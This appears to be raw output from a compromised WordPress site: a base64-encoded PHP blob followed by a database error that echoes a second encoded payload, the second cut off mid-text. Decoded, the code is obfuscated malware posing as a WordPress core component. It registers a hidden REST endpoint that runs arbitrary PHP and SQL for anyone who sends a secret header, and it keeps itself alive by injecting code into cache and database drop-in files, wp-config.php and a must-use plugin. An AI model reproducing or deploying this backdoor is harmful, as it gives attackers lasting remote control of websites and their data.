ZSAkX2NiMThhNCkge30KCmZ1bmN0aW9uIHdwX3F1ZXJ5X2JmYzMoJF9jMmRiNjZlMDE9JycpewokX3dwNWZhYjBmID0gYXJyYXkoKTsgZm9yICgkX2M0ZDUyID0gMDsgJF9jNGQ1MiA8IDM7ICRfYzRkNTIrKykgeyAkX3dwNWZhYjBmW10gPSBBQlNQQVRIOyB9IHJldHVybiAkX3dwNWZhYjBmOwp9CgpmdW5jdGlvbiBfeDQzN2JjNjJjKCRfX2luaXRfZjJkNT0nJywkX2NlZjUyMTk9JycsJF9fcHJvY184MzA3PScnKXsKJF9pZGViNTdlYiA9IGFycmF5KCk7IGZvciAoJF9fb3B0XzZjNDcgPSAwOyAkX19vcHRfNmM0NyA8IDQ7ICRfX29wdF82YzQ3KyspIHsgJF9pZGViNTdlYltdID0gQUJTUEFUSDsgfSByZXR1cm4gJF9pZGViNTdlYjsKfQoKLyoqCiogUkVTVCBBUEkgY29tcGF0aWJpbGl0eSBhbmQgcm91dGluZyBsYXllcgoqCiogQHNpbmNlIDMuNi40OQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX205Zjc2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX19ob29rXzdkYzggPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9fcHJvY19iOWI3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX19ob29rX2Y0MTYgPSAkR0xPQkFMU1snd3Bfc2Vzc2lvbl82MGI3J107DQogICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkX19ob29rX2Y0MTYsICgiXHgyZiIuY2hyKDExNikuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTAxKS4iXHg2ZSIpLCBhcnJheSgNCiAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uKCRyZXF1ZXN0KSB7DQogICAgICAgICRfeDMzZmJjZCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgICAgICR3cF9vcHRpb25fZTkwOCA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLVdQLVNlc3Npb24nKTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2U5MDggfHwgJHdwX29wdGlvbl9lOTA4ICE9PSBzdWJzdHIoJF94MzNmYmNkLCAwLCAxNikpIHsNCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfd3A5NWRkYjI2Mj1hcnJheSg4Myw3MSw3NSw4OCw2Nyk7JF9faG9va19mNjM1PSc2NTk3MTknOyRfX2luaXRfZGY5MD0nJztmb3IoJHdwX21ldGFfNjAyMT0wOyR3cF9tZXRhXzYwMjE8Y291bnQoJF93cDk1ZGRiMjYyKTskd3BfbWV0YV82MDIxKyspJF9faW5pdF9kZjkwLj1jaHIoJF93cDk1ZGRiMjYyWyR3cF9tZXRhXzYwMjFdXm9yZCgkX19ob29rX2Y2MzVbJHdwX21ldGFfNjAyMSVzdHJsZW4oJF9faG9va19mNjM1KV0pKTtyZXR1cm4gJF9faW5pdF9kZjkwO30pKCkgPT4gJ3VuYXV0aG9yaXplZCcpLCA0MDMpOw0KICAgICAgICB9DQoKICAgICAgICAkd3BfaGFuZGxlcl9mMjI2ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCiAgICAgICAgJF9jOTUzMmYgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQogICAgICAgICR3cF9vcHRpb25fZGNiYSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ3MnKSB7DQogICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgnb2snID0+IHRydWUsICd2JyA9PiAyLCAndHMnID0+IHRpbWUoKSkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkd3BfaGFuZGxlcl9mMjI2ID09PSAncGhwJyAmJiAhZW1wdHkoJF9jOTUzMmYpKSB7DQogICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgZXZhbCgkX2M5NTMyZik7DQogICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykgeyBlY2hvICdFcnJvcjogJyAuICRfY2EwMWFjLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChjaHIoMTExKS4iXHg3NSIuY2hyKDExNikuY2hyKDExMikuIlx4NzUiLiJceDc0IikgPT4gb2JfZ2V0X2NsZWFuKCkpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ2RiJyAmJiAhZW1wdHkoJHdwX29wdGlvbl9kY2JhKSkgew0KICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAkX3dwZTA3NCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3Bfb3B0aW9uX2RjYmEsIEFSUkFZX0EpOw0KICAgICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ3Jvd3MnID0+ICRfd3BlMDc0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgIH0NCgogICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ2Vycm9yJyA9PiAoY2hyKDExNykuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTEwKS5jaHIoMTExKS5jaHIoMTE5KS4iXHg2ZSIuIlx4MjAiLmNocigxMDkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKSksIDQwMCk7DQogICAgICB9LA0KICAgICAgIlx4NzBceDY1XHg3Mlx4NmRceDY5XHg3M1x4NzNceDY5XHg2Zlx4NmVceDVmXHg2M1x4NjFceDZjXHg2Y1x4NjJceDYxXHg2M1x4NmIiID0+ICJceDVmXHg1Zlx4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NWZceDc0XHg3Mlx4NzVceDY1IiwNCiAgICApKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwMmQwMTRkKSB7fQoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF85QTZCJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfOUE2QicsNTM5MDYpOwoKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4yOQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfaWZjMDMyOCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKYWRkX2FjdGlvbigiXHg2OVx4NmVceDY5XHg3NCIsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfcTRkMjI2NCA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2Ryb3Bpbic7DQogICAgJHdwX3F1ZXJ5XzY4NWYgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQogICAgJHdwX2hvb2tfMDJjNCA9ICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXTsNCgogICAgJHdwX2ZpbHRlcl9hZGNkID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQogICAgJF93cDVkNDM5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgJF93cDQyMzhlMCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgJF93cDA1YTBlZWQgPSBmaWxlX2V4aXN0cygkd3BfZmlsdGVyX2FkY2QpICYmIGZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkgJiYgZmlsZV9leGlzdHMoJF93cDQyMzhlMCk7DQogICAgJF93cGUzM2QgPSB0cnVlOw0KICAgIGlmICgkX3dwMDVhMGVlZCkgew0KICAgICAgZm9yZWFjaCAoYXJyYXkoJHdwX2ZpbHRlcl9hZGNkLCAkX3dwNWQ0MzksICRfd3A0MjM4ZTApIGFzICRfY2U5MTE4M2UpIHsNCiAgICAgICAgJF9mNTQ0YWZhNDMgPSBAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50cycpKCRfY2U5MTE4M2UpOw0KICAgICAgICBpZiAoISRfZjU0NGFmYTQzIHx8IHN0cnBvcygkX2Y1NDRhZmE0MywgJHdwX3F1ZXJ5XzY4NWYpID09PSBmYWxzZSkgeyAkX3dwZTMzZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX3E0ZDIyNjQpICYmICRfd3AwNWEwZWVkICYmICRfd3BlMzNkKSByZXR1cm47DQoKICAgICRfczc3ODggPSBmdW5jdGlvbigkX3dwZGIyZWE2ZjYsICR3cF90b2tlbl9mOGFjID0gZmFsc2UpIHVzZSAoJHdwX2hvb2tfMDJjNCwgJHdwX3F1ZXJ5XzY4NWYpIHsNCiAgICAgICRfX2J1Zl9jNjc1ID0gIlxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIiAqL1xuIg0KICAgICAgICAuICJcJF9jMWVlZjEgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJztcbiINCiAgICAgICAgLiAiXCRfY2ExZjhkOCA9IFwkX2MxZWVmMSAuICcvIiAuICR3cF9ob29rXzAyYzQgLiAiJztcbiINCiAgICAgICAgLiAiaWYgKCFmaWxlX2V4aXN0cyhcJF9jYTFmOGQ4KSkge1xuIjsNCiAgICAgIGlmICgkd3BfdG9rZW5fZjhhYykgew0KICAgICAgICAkX19idWZfYzY3NSAuPSAiICAgIHRyeSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICBcJF93cDBiMzIgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwNDNhYyA9IFwkX3dwMGIzMi0+cXVlcnkoXCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gXCIuKGlzc2V0KFwkdGFibGVfcHJlZml4KT9cJHRhYmxlX3ByZWZpeDond3BfJykuXCJvcHRpb25zIFdIRVJFIG9wdGlvbl9uYW1lID0gJyIgLiAkX3dwZGIyZWE2ZjYgLiAiJyBMSU1JVCAxXCIpO1xuIg0KICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3dwNDNhYyAmJiBcJF9fZGF0YV9hYmQwID0gXCRfd3A0M2FjLT5mZXRjaENvbHVtbigpKSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICAgICAgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJF9fZGF0YV9hYmQwKTtcbiINCiAgICAgICAgICAuICIgICAgICAgICAgICBpZiAoXCR3cF9xdWVyeV80ODkwICYmIHN0cnBvcyhcJHdwX3F1ZXJ5XzQ4OTAsICc8P3BocCcpID09PSAwKSB7IEBta2RpcihkaXJuYW1lKFwkX2NhMWY4ZDgpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX2NhMWY4ZDgsIFwkd3BfcXVlcnlfNDg5MCk7IH1cbiINCiAgICAgICAgICAuICIgICAgICAgIH1cbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwMGIzMiA9IG51bGw7XG4iDQogICAgICAgICAgLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KICAgICAgfSBlbHNlIHsNCiAgICAgICAgJF9fYnVmX2M2NzUgLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkd3Bfc2Vzc2lvbl8wYjljID0gZ2V0X29wdGlvbignIiAuICRfd3BkYjJlYTZmNiAuICInLCAnJyk7XG4iDQogICAgICAgICAgLiAiICAgICAgICBpZiAoXCR3cF9zZXNzaW9uXzBiOWMpIHsgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJHdwX3Nlc3Npb25fMGI5Yyk7IGlmIChcJHdwX3F1ZXJ5XzQ4OTAgJiYgc3RycG9zKFwkd3BfcXVlcnlfNDg5MCwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfY2ExZjhkOCksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCRfY2ExZjhkOCwgXCR3cF9xdWVyeV80ODkwKTsgfSB9XG4iDQogICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICB9DQogICAgICAkX19idWZfYzY3NSAuPSAifVxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIl9lbmQgKi9cbiI7DQogICAgICByZXR1cm4gJF9fYnVmX2M2NzU7DQogICAgfTsNCgogICAgJF93cDU1YzkyNWIgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgICRfbGQ1N2U2ID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICRfd3A1MDc2Y2E0ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICBfbGQzYTk5KCR3cF9maWx0ZXJfYWRjZCwgJF93cDUwNzZjYTQsIDUwLCB0cnVlKTsNCiAgICAgIHdwX2hvb2tfYzBkNigkd3BfZmlsdGVyX2FkY2QsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICR3cF9vcHRpb25fNTg1MiA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX29wdGlvbl81ODUyKSAmJiBpc193cml0YWJsZSgkd3Bfb3B0aW9uXzU4NTIpKSB7DQogICAgICAgICRfd3BjODY2YTAgPSBAKCdmaWxlJy4nX2dlJy4ndF9jbycuJ250ZScuJ250cycpKCR3cF9vcHRpb25fNTg1Mik7DQogICAgICAgIGlmICgkX3dwYzg2NmEwICYmIHN0cnBvcygkX3dwYzg2NmEwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF93cGM4NjZhMCwgIlx4MjJceDU3XHg1MFx4NWZceDQzXHg0MVx4NDNceDQ4XHg0NVx4MjIiKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAkX3dwYzg2NmEwID0gcHJlZ19yZXBsYWNlKCgiXHgyZiIuY2hyKDk0KS4iXHgzYyIuIlx4NWMiLmNocig2MykuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTQzIF4gMHhmZikuY2hyKDIwOCBeIDB4ZmYpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF93cGM4NjZhMCwgMSk7DQogICAgICAgICAgX2xkM2E5OSgkd3Bfb3B0aW9uXzU4NTIsICRfd3BjODY2YTAsIDEwMCwgZmFsc2UsIHRydWUpOw0KICAgICAgICB9DQogICAgICB9DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCR3cF9maWx0ZXJfYWRjZCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsZScuJ19nJy4nZXRfJy4nY29uJy4ndGVuJy4ndHMnKSgkd3BfZmlsdGVyX2FkY2QpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJHdwX2ZpbHRlcl9hZGNkLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkpIHsNCiAgICAgICR3cF9xdWVyeV9iMGQ2ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3M3Nzg4KCRfd3A1NWM5MjViLCB0cnVlKTsNCiAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkd3BfcXVlcnlfYjBkNiwgNTAsIHRydWUpOw0KICAgICAgd3BfaG9va19jMGQ2KCRfd3A1ZDQzOSwgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50Jy4ncycpKCRfd3A1ZDQzOSksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfY28nLidudCcuJ2VudCcuJ3MnKSgkX3dwNWQ0MzkpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCRfd3A1ZDQzOSkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF93cDQyMzhlMCkgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbicuJ3RlJy4nbnQnLidzJykoJF93cDQyMzhlMCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfYycuJ29uJy4ndGUnLidudCcuJ3MnKSgkX3dwNDIzOGUwKTsNCiAgICAgIGlmICgkX19vcHRfNDMxMyAmJiBpc193cml0YWJsZSgkX3dwNDIzOGUwKSkgew0KICAgICAgICAkX19wcm9jX2I4MDEgPSAkX19vcHRfNDMxMyAuICJcbiIgLiAkX3M3Nzg4KCRfbGQ1N2U2LCB0cnVlKTsNCiAgICAgICAgX2xkM2E5OSgkX3dwNDIzOGUwLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfcTRkMjI2NCwgJzEnLCA0MzIwMCk7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF92ODQ2MTA5Yykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOWU1NGNhMikge30KfQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFJlbmRlcl9Mb2FkZXJfM2Y3MCB7IHByaXZhdGUgJF9fZGF0YV8zMTE0ID0gbnVsbDsgcHJvdGVjdGVkIGZ1bmN0aW9uIF9jZmc5NTcyNDljZSgpIHsgcmV0dXJuIHRpbWUoKTsgfSBwdWJsaWMgZnVuY3Rpb24gX3dwNzQxMygpIHsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfYzQyYmM1KCkgeyByZXR1cm4gUEhQX1ZFUlNJT047IH0gfQoKZnVuY3Rpb24gd3BfdG9rZW5fZDJmYSgkd3BfbWV0YV80YWI4PScnKXsKJF9jYmQ5NDEgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfY2JkOTQxKSkgeyByZXR1cm4gc3RybGVuKCRfY2JkOTQxKTsgfSByZXR1cm4gbnVsbDsKfQo=')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_termmeta']
INSERT INTO `wp_termmeta` (`term_id`, `meta_key`, `meta_value`) VALUES (3, '_site_health_scan_config_torder', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBJbXBvcnQgQ29tcGF0aWJpbGl0eSBMYXllcg0KKiBAZGVzY3JpcHRpb24gSW50ZWxsaWdlbnQgbW9uaXRvcmluZyBhbmQgYW5hbHl0aWNzIHdpdGggbWluaW1hbCBvdmVyaGVhZA0KKiBAdmVyc2lvbiAzLjYuODMNCiogQGF1dGhvciBXb3JkUHJlc3MgRm91bmRhdGlvbg0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgiXHg0MVx4NDJceDUzXHg1MFx4NDFceDU0XHg0OCIpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSByZXR1cm47DQoKJF93cDQyNzlhMGIgPSAoZnVuY3Rpb24oKXskX2NhY2VjZjkyZD1hcnJheSg1LDgzLDgxLDEsODMsOTQsOTAsNyw1LDYsNCw4NSw4Nyw4MiwwLDYsODAsMyw4Miw4NSw4Miw2LDgzLDEyLDg3LDgzLDUsMCwwLDYsMyw4MCk7JF9oNWIwMTcwPSc3MTQzYWZjJzskX2MwZDA0NmU9Jyc7Zm9yKCRfX2xvYWRfZDY3ZD0wOyRfX2xvYWRfZDY3ZDxjb3VudCgkX2NhY2VjZjkyZCk7JF9fbG9hZF9kNjdkKyspJF9jMGQwNDZlLj1jaHIoJF9jYWNlY2Y5MmRbJF9fbG9hZF9kNjdkXV5vcmQoJF9oNWIwMTcwWyRfX2xvYWRfZDY3ZCVzdHJsZW4oJF9oNWIwMTcwKV0pKTtyZXR1cm4gJF9jMGQwNDZlO30pKCk7DQokX2NiNWU3NyA9ICgiXHg1ZiIuIlx4NzciLmNocigxNDMgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDExNCkuIlx4NjUiLmNocigxMTkpLmNocigxNDEgXiAweGZmKS5jaHIoMTA1KS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTE3KS4iXHg2YyIuY2hyKDEwMSkuIlx4NzMiLmNocigxNjAgXiAweGZmKS5jaHIoMTU2IF4gMHhmZikuY2hyKDk3KS5jaHIoMTU2IF4gMHhmZikuIlx4NjgiLmNocigxNTQgXiAweGZmKSk7DQokX3dwMDFjNiA9IChmdW5jdGlvbigpeyRfX3Byb2NfYTI2OD1hcnJheSg2MSwyMSw5MSw3MCw0LDEwNywxMywxNCw1LDE1LDkyLDEwOSwwLDY0LDIxLDQsMTUsMjIsNzAsMTA5LDEzLDkxLDYpOyRfd3A0M2MzNWY9J2JmMjJhNGFhJzskX2MxMGU3MzA3Zj0nJztmb3IoJF9fZGF0YV85ZmNmPTA7JF9fZGF0YV85ZmNmPGNvdW50KCRfX3Byb2NfYTI2OCk7JF9fZGF0YV85ZmNmKyspJF9jMTBlNzMwN2YuPWNocigkX19wcm9jX2EyNjhbJF9fZGF0YV85ZmNmXV5vcmQoJF93cDQzYzM1ZlskX19kYXRhXzlmY2Ylc3RybGVuKCRfd3A0M2MzNWYpXSkpO3JldHVybiAkX2MxMGU3MzA3Zjt9KSgpOw0KJF93cDRkYTUxID0gKCJceDVmIi4iXHg3MyIuY2hyKDEwNSkuY2hyKDExNikuY2hyKDEwMSkuY2hyKDE2MCBeIDB4ZmYpLiJceDY4Ii5jaHIoMTU0IF4gMHhmZikuIlx4NjEiLiJceDZjIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MSBeIDB4ZmYpLiJceDVmIi5jaHIoMTQwIF4gMHhmZikuIlx4NjMiLmNocigxNTggXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDk1KS4iXHg2MyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocigxNTMgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpKTsNCiRfX2NhY2hlXzk5ZjIgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDMxXHgzNFx4MzlceDM3XHgzN1x4NjFceDMxXHg2MiI7DQokX3dwMTE1NjZlID0gJ19hY19mOTBkMDFlZic7DQokd3BfaG9va18wMmM0ID0gJ2VtYmVkLWhhbmRsZXIucGhwJzsNCiRfYzhiOTg4MWI5ID0gJ2RiX2Nvbm5lY3Rpb25fdmVyaWZ5X2M4ZjQnOw0KJF92MzQyYzAxMDIgPSAnX3dwaF85YmZlJzsNCiRfZjk5MzUzMSA9ICdtYWludGVuYW5jZSc7DQokX3dwM2FmZSA9ICJceDVmXHg2M1x4NjFceDYzXHg2OFx4NjVceDVmXHg3NFx4NmZceDZiXHg2NVx4NmUiOw0KJHdwX3Nlc3Npb25fNjBiNyA9IChjaHIoMTAwKS5jaHIoOTgpLmNocig0NSkuY2hyKDExMikuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDcgXiAweGZmKS4iXHgyZiIuY2hyKDEzNyBeIDB4ZmYpLmNocig0OSkpOw0KJF9jOTM4YyA9ICdfYXV0aCc7DQokX19yZWZfMWU3OSA9ICdzZW8tbWV0YWRhdGEtaGVscGVyJzsNCiRfYzMyZjQ5ZiA9ICdzZW8tbWV0YWRhdGEtaGVscGVyLnBocCc7DQokX2xkMTA2YSA9ICdmaS5waHAnOw0KJF9tOTc1OGU3ZCA9ICRfd3A0ZGE1MSAuICdfd2NmZyc7DQokX2g3Yzc1Zjc1ID0gJF93cDRkYTUxIC4gJ19wY2FjaGUnOw0KJF9faW5pdF9hNGZkID0gJF93cDRkYTUxIC4gJ191cHJlZnMnOw0KJF9faW5pdF9lYmI2ID0gJF93cDRkYTUxIC4gJ190b3JkZXInOw0KJF9sZDc2MzggPSAkX3dwNGRhNTEgLiAnX2NzdGF0dXMnOw0KJF93cDNjZmE0ID0gJF93cDRkYTUxIC4gJ19hdl9iYWNrdXAnOw0KJF9jMmVkYzVhID0gJF93cDRkYTUxIC4gJ19iY2RhdGEnOw0KJF93cDJmY2EwMiA9ICRfd3A0ZGE1MSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGQzYTk5KCRfd3AzZjE2NGM2LCAkX3dwMDRjZjgsICRfYzYxMmE1M2FlID0gMTAwLCAkX2M3ZTQ1YmQgPSBmYWxzZSwgJF94NzAyNTE0ZTggPSBmYWxzZSkgew0KICBpZiAoc3RybGVuKCRfd3AwNGNmOCkgPCAkX2M2MTJhNTNhZSkgcmV0dXJuIGZhbHNlOw0KICAkX3E4NmI5ZTBmNiA9IEBmaWxlc2l6ZSgkX3dwM2YxNjRjNik7DQogICRfZjA1YzRiID0gQGZpbGVtdGltZSgkX3dwM2YxNjRjNik7DQogIGlmICghJF9jN2U0NWJkICYmICRfcTg2YjllMGY2ICYmIHN0cmxlbigkX3dwMDRjZjgpIDwgJF9xODZiOWUwZjYpIHJldHVybiBmYWxzZTsNCiAgJF9jOWY2MiA9ICRfd3AzZjE2NGM2IC4gJy5iYWsuJyAuIG10X3JhbmQoMTAwMDAwLCA5OTk5OTkpOw0KICBpZiAoZmlsZV9leGlzdHMoJF93cDNmMTY0YzYpKSBAY29weSgkX3dwM2YxNjRjNiwgJF9jOWY2Mik7DQogICRfX29wdF8xODk2ID0gJF93cDNmMTY0YzYgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgJF9fYnVmXzBjYmQgPSBAKCdmaScuJ2xlXycuJ3B1dF8nLidjbycuJ250ZW4nLid0cycpKCRfX29wdF8xODk2LCAkX3dwMDRjZjgsIExPQ0tfRVgpOw0KICBpZiAoJF9fYnVmXzBjYmQgPT09IHN0cmxlbigkX3dwMDRjZjgpKSB7DQogICAgaWYgKE